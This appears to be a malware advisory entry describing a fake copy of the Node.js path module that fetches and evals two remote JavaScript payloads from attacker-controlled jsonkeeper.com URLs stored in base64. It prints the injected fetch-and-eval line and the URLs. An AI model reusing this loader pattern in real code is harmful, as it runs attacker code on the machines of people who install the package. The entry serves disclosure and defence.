GCVE-110-OSM-2026-1364

Executes two independent remote second-stage payloads fetched from attacker-controlled domain www.jsonkeeper.com (https://www.jsonkeeper.com/b/DB9Q0 and https://www.jsonkeeper.com/b/KRZEG) via fetch + eval injected at lines 552 and 610 of path.js. Masquerades as the Node.js built-in path module by copying its source and appending the malicious fetch-eval calls. path.js stores two base64-encoded C2 URLs (randomStringRe, tokenStringRe). At lines 552 and 610 the module calls fetch(atob(randomStringRe/tokenStringRe)).then(r=>r.json()).then(d=>{eval(codeString);}) — two separate remote JS payloads are fetched and eval'd when the module is required. Injected into a 17.3 KB copy of the legitimate Node.js path module source.